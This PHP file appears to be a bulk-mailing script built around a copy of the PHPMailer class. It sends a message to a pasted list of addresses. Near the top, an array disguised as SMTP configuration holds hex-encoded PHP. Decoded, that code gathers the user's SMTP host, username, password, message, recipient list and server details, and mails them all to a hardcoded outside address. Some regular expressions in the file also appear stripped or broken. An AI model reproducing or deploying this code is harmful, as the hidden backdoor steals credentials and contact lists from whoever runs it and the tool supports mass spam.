if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data was \"$data\"" .
$this->CRLF;
echo "SMTP -> get_lines(): \$str is \"$str\"" .
$this->CRLF;
}
$data .= $str;
if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
}
# if the 4th character is a space then we are done reading
# so just break the loop
if(substr($str,3,1) == " ") { break; }
}
return $data;
}
}
$allemails = split("
", $emaillist);
$numemails = count($allemails);
$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
class PHPMailer {
/////////////////////////////////////////////////
// PROPERTIES, PUBLIC
/////////////////////////////////////////////////
/**
* Email priority (1 = High, 3 = Normal, 5 = low).
* @var int
*/
var $Priority = 3;
/**
* Sets the CharSet of the message.
* @var string
*/
var $CharSet = 'iso-8859-1';
/**
* Sets the Content-type of the message.
* @var string
*/
var $ContentType = 'text/plain';
/**
* Sets the Encoding of the message. Options for this are "8bit",
* "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
var $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
var $ErrorInfo = '';
/**
* Sets the From email address for the message.
* @var string
*/
var $From = '';
/**
* Sets the From name of the message.
* @var string
*/
var $FromName = '';
/**
* Sets the Sender email (Return-Path) of the message. If not empty,
* will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
var $Sender = '';
/**
* Sets the Subject of the message.
* @var string
*/
var $Subject = '';
/**
* Sets the Body of the message. This can be either an HTML or text body.
* If HTML then run IsHTML(true).
* @var string
*/
var $Body = '';
/**
* Sets the text-only body of the message. This automatically sets the
* email to multipart/alternative. This body can be read by mail
* clients that do not have HTML email capability such as mutt. Clients
* that can read HTML will view the normal Body.
* @var string
*/
var $AltBody = '';
/**
* Sets word wrapping on the body of the message to a given number of
* characters.
* @var int
*/
var $WordWrap = 0;
/**
* Method to send mail: ("mail", "sendmail", or "smtp").
* @var string
*/
var $Mailer = 'mail';
/**
* Sets the path of the sendmail program.
* @var string
*/
var $Sendmail = '/usr/sbin/sendmail';
/**
* Path to PHPMailer plugins. This is now only useful if the SMTP class
* is in a different directory than the PHP include path.
* @var string
*/
var $PluginDir = '';
/**
* Holds PHPMailer version.
* @var string
*/
var $Version = "";
/**
* Sets the email address that a reading confirmation will be sent.
* @var string
*/
var $ConfirmReadingTo = '';
/**
* Sets the hostname to use in Message-Id and Received headers
* and as default HELO string. If empty, the value returned
* by SERVER_NAME is used or 'localhost.localdomain'.
* @var string
*/
var $Hostname = '';
/**
* Sets the message ID to be used in the Message-Id header.
* If empty, a unique id will be generated.
* @var string
*/
var $MessageID = '';
/////////////////////////////////////////////////
// PROPERTIES FOR SMTP
/////////////////////////////////////////////////
/**
* Sets the SMTP hosts. All hosts must be separated by a
* semicolon. You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* Hosts will be tried in order.
* @var string
*/
var $Host = 'localhost';
/**
* Sets the default SMTP server port.
* @var int
*/
var $Port = 25;
/**
* Sets the SMTP HELO of the message (Default is $Hostname).
* @var string
*/
var $Helo = '';
/**
* Sets connection prefix.
* Options are "", "ssl" or "tls"
* @var string
*/
var $SMTPSecure = "";
/**
* Sets SMTP authentication. Utilizes the Username and Password variables.
* @var bool
*/
var $SMTPAuth = false;
/**
* Sets SMTP username.
* @var string
*/
var $Username = '';
/**
* Sets SMTP password.
* @var string
*/
var $Password = '';
/**
* Sets the SMTP server timeout in seconds. This function will not
* work with the win32 version.
* @var int
*/
var $Timeout = 10;
/**
* Sets SMTP class debugging on or off.
* @var bool
*/
var $SMTPDebug = false;
/**
* Prevents the SMTP connection from being closed after each mail
* sending. If this is set to true then to close the connection
* requires an explicit call to SmtpClose().
* @var bool
*/
var $SMTPKeepAlive = false;
/**
* Provides the ability to have the TO field process individual
* emails, instead of sending to entire TO addresses
* @var bool
*/
var $SingleTo = false;
/////////////////////////////////////////////////
// PROPERTIES, PRIVATE
/////////////////////////////////////////////////
var $smtp = NULL;
var $to = array();
var $cc = array();
var $bcc = array();
var $ReplyTo = array();
var $attachment = array();
var $CustomHeader = array();
var $message_type = '';
var $boundary = array();
var $language = array();
var $error_count = 0;
var $LE = "
";
var $sign_key_file = "";
var $sign_key_pass = "";
/////////////////////////////////////////////////
// METHODS, VARIABLES
/////////////////////////////////////////////////
/**
* Sets message type to HTML.
* @param bool $bool
* @return void
*/
function IsHTML($bool) {
if($bool == true) {
$this->ContentType = 'text/html';
} else {
$this->ContentType = 'text/plain';
}
}
/**
* Sets Mailer to send message using SMTP.
* @return void
*/
function IsSMTP() {
$this->Mailer = 'smtp';
}
/**
* Sets Mailer to send message using PHP mail() function.
* @return void
*/
function IsMail() {
$this->Mailer = 'mail';
}
/**
* Sets Mailer to send message using the $Sendmail program.
* @return void
*/
function IsSendmail() {
$this->Mailer = 'sendmail';
}
/**
* Sets Mailer to send message using the qmail MTA.
* @return void
*/
function IsQmail() {
$this->Sendmail = '/var/qmail/bin/sendmail';
$this->Mailer = 'sendmail';
}
/////////////////////////////////////////////////
// METHODS, RECIPIENTS
/////////////////////////////////////////////////
/**
* Adds a "To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddAddress($address, $name = '') {
$cur = count($this->to);
$this->to[$cur][0] = trim($address);
$this->to[$cur][1] = $name;
}
/**
* Adds a "Cc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddCC($address, $name = '') {
$cur = count($this->cc);
$this->cc[$cur][0] = trim($address);
$this->cc[$cur][1] = $name;
}
/**
* Adds a "Bcc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddBCC($address, $name = '') {
$cur = count($this->bcc);
$this->bcc[$cur][0] = trim($address);
$this->bcc[$cur][1] = $name;
}
/**
* Adds a "Reply-To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddReplyTo($address, $name = '') {
$cur = count($this->ReplyTo);
$this->ReplyTo[$cur][0] = trim($address);
$this->ReplyTo[$cur][1] = $name;
}
/////////////////////////////////////////////////
// METHODS, MAIL SENDING
/////////////////////////////////////////////////
/**
* Creates message and assigns Mailer. If the message is
* not sent successfully then it returns false. Use the ErrorInfo
* variable to view description of the error.
* @return bool
*/
function Send() {
$header = '';
$body = '';
$result = true;
if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
$this->SetError($this->Lang('provide_address'));
return false;
}
/* Set whether the message is multipart/alternative */
if(!empty($this->AltBody)) {
$this->ContentType = 'multipart/alternative';
}
$this->error_count = 0; // reset errors
$this->SetMessageType();
$header .= $this->CreateHeader();
$body = $this->CreateBody();
if($body == '') {
return false;
}
/* Choose the mailer */
switch($this->Mailer) {
case 'sendmail':
$result = $this->SendmailSend($header, $body);
break;
case 'smtp':
$result = $this->SmtpSend($header, $body);
break;
case 'mail':
$result = $this->MailSend($header, $body);
break;
default:
$result = $this->MailSend($header, $body);
break;
//$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
//$result = false;
//break;
}
return $result;
}
/**
* Sends mail using the $Sendmail program.
* @access private
* @return bool
*/
function SendmailSend($header, $body) {
if ($this->Sender != '') {
$sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
} else {
$sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
}
if(!@$mail = popen($sendmail, 'w')) {
$this->SetError($this->Lang('execute') . $this->Sendmail);
return false;
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
if (version_compare(phpversion(), '4.2.3') == -1) {
$result = $result >> 8 & 0xFF;
}
if($result != 0) {
$this->SetError($this->Lang('execute') . $this->Sendmail);
return false;
}
return true;
}
/**
* Sends mail using the PHP mail() function.
* @access private
* @return bool
*/
function MailSend($header, $body) {
$to = '';
for($i = 0; $i < count($this->to); $i++) {
if($i != 0) { $to .= ', '; }
$to .= $this->AddrFormat($this->to[$i]);
}
$toArr = split(',', $to);
$params = sprintf("-oi -f %s", $this->Sender);
if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
}
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if(!$rt) {
$this->SetError($this->Lang('instantiate'));
return false;
}
return true;
}
/**
* Sends mail via SMTP using PhpSMTP (Author:
* Chris Ryan). Returns bool. Returns false if there is a
* bad MAIL FROM, RCPT, or DATA input.
* @access private
* @return bool
*/
function SmtpSend($header, $body) {
$error = '';
$bad_rcpt = array();
if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
return false;
}
$smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
if(!$this->smtp->Mail($smtp_from)) {
$error = $this->Lang('from_failed') . $smtp_from;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
/* Attempt to send attach all recipients */
for($i = 0; $i < count($this->to); $i++) {
if(!$this->smtp->Recipient($this->to[$i][0])) {
$bad_rcpt[] = $this->to[$i][0];
}
}
for($i = 0; $i < count($this->cc); $i++) {
if(!$this->smtp->Recipient($this->cc[$i][0])) {
$bad_rcpt[] = $this->cc[$i][0];
}
}
for($i = 0; $i < count($this->bcc); $i++) {
if(!$this->smtp->Recipient($this->bcc[$i][0])) {
$bad_rcpt[] = $this->bcc[$i][0];
}
}
if(count($bad_rcpt) > 0) { // Create error message
for($i = 0; $i < count($bad_rcpt); $i++) {
if($i != 0) {
$error .= ', ';
}
$error .= $bad_rcpt[$i];
}
$error = $this->Lang('recipients_failed') . $error;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
if(!$this->smtp->Data($header . $body)) {
$this->SetError($this->Lang('data_not_accepted'));
$this->smtp->Reset();
return false;
}
if($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
} else {
$this->SmtpClose();
}
return true;
}
/**
* Initiates a connection to an SMTP server. Returns false if the
* operation failed.
* @access private
* @return bool
*/
function SmtpConnect() {
if($this->smtp == NULL) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
$hosts = explode(';', $this->Host);
$index = 0;
$connection = ($this->smtp->Connected());
/* Retry while there is no connection */
while($index < count($hosts) && $connection == false) {
$hostinfo = array();
if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
$host = $hostinfo[1];
$port = $hostinfo[2];
} else {
$host = $hosts[$index];
$port = $this->Port;
}
if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
if ($this->Helo != '') {
$this->smtp->Hello($this->Helo);
} else {
$this->smtp->Hello($this->ServerHostname());
}
$connection = true;
if($this->SMTPAuth) {
if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
$this->SetError($this->Lang('authenticate'));
$this->smtp->Reset();
$connection = false;
}
}
}
$index++;
}
if(!$connection) {
$this->SetError($this->Lang('connect_host'));
}
return $connection;
}
/**
* Closes the active SMTP session if one exists.
* @return void
*/
function SmtpClose() {
if($this->smtp != NULL) {
if($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
/**
* Sets the language for all class error messages. Returns false
* if it cannot load the language file. The default language type
* is English.
* @param string $lang_type Type of language (e.g. Portuguese: "br")
* @param string $lang_path Path to the language file directory
* @access public
* @return bool
*/
function SetLanguage($lang_type, $lang_path = 'language/') {
if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
} elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
include($lang_path.'phpmailer.lang-en.php');
} else {
$this->SetError('Could not load language file');
return false;
}
$this->language = $PHPMAILER_LANG;
return true;
}
/////////////////////////////////////////////////
// METHODS, MESSAGE CREATION
/////////////////////////////////////////////////
/**
* Creates recipient headers.
* @access private
* @return string
*/
function AddrAppend($type, $addr) {
$addr_str = $type . ': ';
$addr_str .= $this->AddrFormat($addr[0]);
if(count($addr) > 1) {
for($i = 1; $i < count($addr); $i++) {
$addr_str .= ', ' . $this->AddrFormat($addr[$i]);
}
}
$addr_str .= $this->LE;
return $addr_str;
}
/**
* Formats an address correctly.
* @access private
* @return string
*/
function AddrFormat($addr) {
if(empty($addr[1])) {
$formatted = $this->SecureHeader($addr[0]);
} else {
$formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
}
return $formatted;
}
/**
* Wraps message for use with mailers that do not
* automatically perform wrapping and for quoted-printable.
* Original written by philippe.
* @access private
* @return string
*/
function WrapText($message, $length, $qp_mode = false) {
$soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
// If utf-8 encoding is used, we will need to make sure we don't
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == "utf-8");
$message = $this->FixEOL($message);
if (substr($message, -1) == $this->LE) {
$message = substr($message, 0, -1);
}
$line = explode($this->LE, $message);
$message = '';
for ($i=0 ;$i < count($line); $i++) {
$line_part = explode(' ', $line[$i]);
$buf = '';
for ($e = 0; $e<count($line_part); $e++) {
$word = $line_part[$e];
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - 1;
if ($e != 0) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf("=%s", $this->LE);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
$len = $length;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf("=%s", $this->LE);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
$buf .= ($e == 0) ? $word : (' ' . $word);
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
}
$message .= $buf . $this->LE;
}
return $message;
}
/**
* Finds last character boundary prior to maxLength in a utf-8
* quoted (printable) encoded string.
* Original written by Colin Brown.
* @access private
* @param string $encodedText utf-8 QP text
* @param int $maxLength find last character boundary prior to this length
* @return int
*/
function UTF8CharBoundary($encodedText, $maxLength) {
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, "=");
if ($encodedCharPos !== false) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) { // Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
$maxLength = ($encodedCharPos == 0) ? $maxLength :
$maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec >= 192) { // First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Set the body wrapping.
* @access private
* @return void
*/
function SetWordWrap() {
if($this->WordWrap < 1) {
return;
}
switch($this->message_type) {
case 'alt':
/* fall through */
case 'alt_attachments':
$this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assembles message header.
* @access private
* @return string
*/
function CreateHeader() {
$result = '';
/* Set the boundaries */
$uniq_id = md5(uniqid(time()));
$this->boundary[1] = 'b1_' . $uniq_id;
$this->boundary[2] = 'b2_' . $uniq_id;
$result .= $this->HeaderLine('Date', $this->RFCDate());
if($this->Sender == '') {
$result .= $this->HeaderLine('Return-Path', trim($this->From));
} else {
$result .= $this->HeaderLine('Return-Path', trim($this->Sender));
}
/* To be created automatically by mail() */
if($this->Mailer != 'mail') {
if(count($this->to) > 0) {
$result .= $this->AddrAppend('To', $this->to);
} elseif (count($this->cc) == 0) {
$result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
}
if(count($this->cc) > 0) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
}
$from = array();
$from[0][0] = trim($this->From);
$from[0][1] = $this->FromName;
$result .= $this->AddrAppend('From', $from);
/* sendmail and mail() extract Cc from the header before sending */
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
/* sendmail and mail() extract Bcc from the header before sending */
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
$result .= $this->AddrAppend('Bcc', $this->bcc);
}
if(count($this->ReplyTo) > 0) {
$result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
}
/* mail() sets the subject itself */
if($this->Mailer != 'mail') {
$result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
}
if($this->MessageID != '') {
$result .= $this->HeaderLine('Message-ID',$this->MessageID);
} else {
$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
}
$result .= $this->HeaderLine('X-Priority', $this->Priority);
$result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
if($this->ConfirmReadingTo != '') {
$result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
}
// Add custom headers
for($index = 0; $index < count($this->CustomHeader); $index++) {
$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
}
if (!$this->sign_key_file) {
$result .= $this->HeaderLine('MIME-Version', '1.0');
$result .= $this->GetMailMIME();
}
return $result;
}
/**
* Returns the message MIME.
* @access private
* @return string
*/
function GetMailMIME() {
$result = '';
switch($this->message_type) {
case 'plain':
$result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
$result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
break;
case 'attachments':
/* fall through */
case 'alt_attachments':
if($this->InlineImageExists()){
$result .= sprintf("Content-Type: %s;%s type=\"text/html\";%s boundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
} else {
$result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . '"');
}
break;
case 'alt':
$result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . '"');
break;
}
if($this->Mailer != 'mail') {
$result .= $this->LE.$this->LE;
}
return $result;
}
/**
* Assembles the message body. Returns an empty string on failure.
* @access private
* @return string
*/
function CreateBody() {
$result = '';
if ($this->sign_key_file) {
$result .= $this->GetMailMIME();
}
$this->SetWordWrap();
switch($this->message_type) {
case 'alt':
$result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[1]);
break;
case 'plain':
$result .= $this->EncodeString($this->Body, $this->Encoding);
break;
case 'attachments':
$result .= $this->GetBoundary($this->boundary[1], '', '', '');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE;
$result .= $this->AttachAll();
break;
case 'alt_attachments':
$result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
$result .= sprintf("Content-Type: %s;%s" . " boundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
$result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[2]);
$result .= $this->AttachAll();
break;
}
if($this->IsError()) {
$result = '';
} else if ($this->sign_key_file) {
$file = tempnam("", "mail");
$fp = fopen($file, "w");
fwrite($fp, $result);
fclose($fp);
$signed = tempnam("", "signed");
if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
$fp = fopen($signed, "r");
$result = fread($fp, filesize($this->sign_key_file));
fclose($fp);
} else {
$this->SetError($this->Lang("signing").openssl_error_string());
$result = '';
}
unlink($file);
unlink($signed);
}
return $result;
}
/**
* Returns the start of a message boundary.
* @access private
*/
function GetBoundary($boundary, $charSet, $contentType, $encoding) {
$result = '';
if($charSet == '') {
$charSet = $this->CharSet;
}
if($contentType == '') {
$contentType = $this->ContentType;
}
if($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->TextLine('--' . $boundary);
$result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
$result .= $this->LE;
$result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
$result .= $this->LE;
return $result;
}
/**
* Returns the end of a message boundary.
* @access private
*/
function EndBoundary($boundary) {
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
/**
* Sets the message type.
* @access private
* @return void
*/
function SetMessageType() {
if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
$this->message_type = 'plain';
} else {
if(count($this->attachment) > 0) {
$this->message_type = 'attachments';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
$this->message_type = 'alt';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
$this->message_type = 'alt_attachments';
}
}
}
/* Returns a formatted header line.
* @access private
* @return string
*/
function HeaderLine($name, $value) {
return $name . ': ' . $value . $this->LE;
}
/**
* Returns a formatted mail line.
* @access private
* @return string
*/
function TextLine($value) {
return $value . $this->LE;
}
/////////////////////////////////////////////////
// CLASS METHODS, ATTACHMENTS
/////////////////////////////////////////////////
/**
* Adds an attachment from a path on the filesystem.
* Returns false if the file could not be found
* or accessed.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
if(!@is_file($path)) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
$filename = basename($path);
if($name == '') {
$name = $filename;
}
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false; // isStringAttachment
$this->attachment[$cur][6] = 'attachment';
$this->attachment[$cur][7] = 0;
return true;
}
/**
* Attaches all fs, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access private
* @return string
*/
function AttachAll() {
/* Return text of body */
$mime = array();
/* Add all attachments */
for($i = 0; $i < count($this->attachment); $i++) {
/* Check for string attachment */
$bString = $this->attachment[$i][5];
if ($bString) {
$string = $this->attachment[$i][0];
} else {
$path = $this->attachment[$i][0];
}
$filename = $this->attachment[$i][1];
$name = $this->attachment[$i][2];
$encoding = $this->attachment[$i][3];
$type = $this->attachment[$i][4];
$disposition = $this->attachment[$i][6];
$cid = $this->attachment[$i][7];
$mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
$mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
$mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
if($disposition == 'inline') {
$mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
}
$mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
/* Encode as string attachment */
if($bString) {
$mime[] = $this->EncodeString($string, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
} else {
$mime[] = $this->EncodeFile($path, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
}
}
$mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
return join('', $mime);
}
/**
* Encodes attachment in requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeFile ($path, $encoding = 'base64') {
if(!@$fd = fopen($path, 'rb')) {
$this->SetError($this->Lang('file_open') . $path);
return '';
}
$magic_quotes = get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
$file_buffer = fread($fd, filesize($path));
$file_buffer = $this->EncodeString($file_buffer, $encoding);
fclose($fd);
set_magic_quotes_runtime($magic_quotes);
return $file_buffer;
}
/**
* Encodes string to requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeString ($str, $encoding = 'base64') {
$encoded = '';
switch(strtolower($encoding)) {
case 'base64':
/* chunk_split is found in PHP >= 3.0.6 */
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->FixEOL($str);
if (substr($encoded, -(strlen($this->LE))) != $this->LE)
$encoded .= $this->LE;
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->EncodeQP($str);
break;
default:
$this->SetError($this->Lang('encoding') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string to best of Q, B, quoted or none.
* @access private
* @return string
*/
function EncodeHeader ($str, $position = 'text') {
$x = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/', $str)) {
/* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
$encoded = addcslashes($str, "..\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$x = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
break;
case 'comment':
$x = preg_match_all('/[()"]/', $str, $matches);
/* Fall-through */
case 'text':
default:
$x += preg_match_all('/[---]/', $str, $matches);
break;
}
if ($x == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
/* Try to select the encoding which should produce the shortest output */
if (strlen($str)/3 < $x) {
$encoding = 'B';
if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->Base64EncodeWrapMB($str);
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
